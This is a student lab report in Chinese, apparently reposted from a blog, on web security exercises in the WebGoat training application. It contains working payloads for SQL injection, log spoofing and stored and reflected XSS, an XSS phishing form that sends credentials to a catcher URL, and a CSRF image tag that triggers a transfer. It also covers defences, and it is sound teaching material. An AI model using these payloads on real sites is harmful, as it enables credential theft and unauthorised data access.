zoukankan      html  css  js  c++  java
  • 20174309徐宁艺 Exp9 Web安全基础

    一、实验原理

    1.SQL注入攻击

            SQL注入是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

    2.XSS攻击

           XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    3.CSRF攻击

           CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。

    二、实验过程

    (一)WebGoat安装

    • 下载【Java -jar webgoat-container-7.0.1-war-exec.jar】文件。
    • 输入 java -jar webgoat-container-7.0.1-war-exec.jar 运行WebGoat。
    • 浏览器输入【localhost:8080/WebGoat】,输入用户名密码,但是没有出现课程。

    • 按照这篇文章进行配置,然后重新运行WebGoat,浏览器登陆可以正常显示。

     

    (二)SQL注入攻击

    1.Numeric SQL Injection(数字型SQL注入)

           原理:当输入的参数为整型如ID、年龄、页码等时,若存在注入漏洞,认为是数字型注入攻击。

           目标:在页面尝试插入能够使所有天气数据显示出了的SQL字符串。

           方法:用或和【1=1】来使语句永真。

           单击右键选择【inspect Elemnet】,在<option>的城市编号【value="101】后面加【or 1=1】

    点击【Go!】即可显示所有城市的天气。

    2.Log Spoofing(日志欺骗)

           原理:在日志文件中插入脚本,清除在日志中的痕迹。

           目标:使用户名为“admin”的用户在日志中显示“成功登录”。

           方法:利用回车【0d%】和换行符【%0a】使用户名在日志中显示为两行

     在用户名输入4309xny%0d%0aLogin Succeeded for username: admin ,登录,显示如下

    3.String SQL(字符串型注入)

            原理:当SQL注入输入的参数为字符串时称为字符串型注入。

            目标:尝试插入一个SQL字符串,以显示所有信用卡号码。使用“Smith”的用户名。

            方法:【'】提前闭合,【1=1】永真和【--】注释

     在用户名处输入【Smith' or 1=1--】,点击【Go!】。

    (三)XSS攻击

    1.Phishing with XSS(XSS钓鱼)

    原理:当用户输入非法HTTP响应时,实现钓鱼工具或向某些官方页面中增加内容。

    目标:创建一个 form,要求填写用户名和密码。将数据提交到【ttp://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=catcheUserName&password=catchedPasswordNam】。

    方法:

    在【Search】框输入

    </form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("This website been attacked and your message has been stolen by xny. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

    点击【Search】。

    2.Stored XSS Attacks(存储型XSS攻击)

    原理:把恶意脚本存储到被攻击网站的数据库,其他人访问到数据库中的恶意脚本后浏览器就会执行脚本,从而攻击网站。

    目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

    方法:

    在【Title】中任意输入,【Message】输入 <script>alert("I am 20174309xny. You've been attacked hhhhhh!!!");</script> ,点击【Submit】提交。

     3.Reflected XSS Attacks(反射型XSS攻击)

    原理:使用攻击脚本创建一个URL,通过发布到另一个网站、通过电子邮件或其他方式让受害者点击它,当读取到该URL的时候就会被攻击。

    目标:攻击当前的结账页面。

    方法:

    输入 <script>alert("You've been attacked by xny hhhh!!!");</script> ,点击【Purchase】。

    (四)CSRF攻击

    1.Cross Site Request Forgery(跨站请求伪造)

    原理:跨站请求伪造是一种让受害者加载一个包含网页的图片,如<img src="http://www.myblank .com/me?transferFunds=5000&to=12345/">当浏览器视图呈现此网页时,将使用指定的参数向【www.myblank.com】的me发出请求,但实际上上一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此如果用户对站点进行了身份认证,并且拥有永久或当前会话cookie,那么站点将无法与将其与合法的用户请求缺乏开,通过这种方式,攻击者可以让受害者执行他们本不打算执行的操作,如购买物品,或者网站提供的其他功能。

    目标: 向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求。

    方法:

    网页提示【Parameters】中的【src】为304,【menu】为900,在【Message】中输入 <img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=104"/> ,点击【Submit】提交。

    三、实验总结

    (一)基础问题回答

    1.SQL注入攻击原理?如何防御?

    原理:SQL注入是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

    防御:SQL语句预编译和绑定变量,使用一些安全函数。

    2.XSS攻击的原理?如何防御?

    原理:XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    防御:对输入和URL参数进行过滤,对输出进行编码。

    3.CSRF攻击原理?如何防御?

    原理:CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。

    防御:验证Http Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。

    (二)实验总结与体会

            感觉有课程提示什么的,难度不是特别大,主要是要看懂网站给的信息和要做什么内容,全英文也还好,毕竟有百度翻译在。实验主要是了解了这三种攻击的原理,距离实践还是有一定差距。

  • 相关阅读:
    List数据去重的五种有效方法
    select 1 from ... sql语句中的1代表什么意思?
    gitlab 创建一个空的分支 将本地代码推到特定分支
    Error running 'dt-assets-monitor [clean]': Cannot run program "C:Program Files (x86)Javajdk1.8.0_73injava.exe" (in directory "E:codedt-assets-monitor")
    Git SSH Key 生成步骤
    Git,GitHub与GitLab的区别
    聊聊TCP Keepalive、Netty和Docker
    centos7设置非图形界面
    PHP mysqli 使用预处理语句防注入
    用传纸条讲 HTTPS
  • 原文地址:https://www.cnblogs.com/20174309xny/p/12930110.html
Copyright © 2011-2022 走看看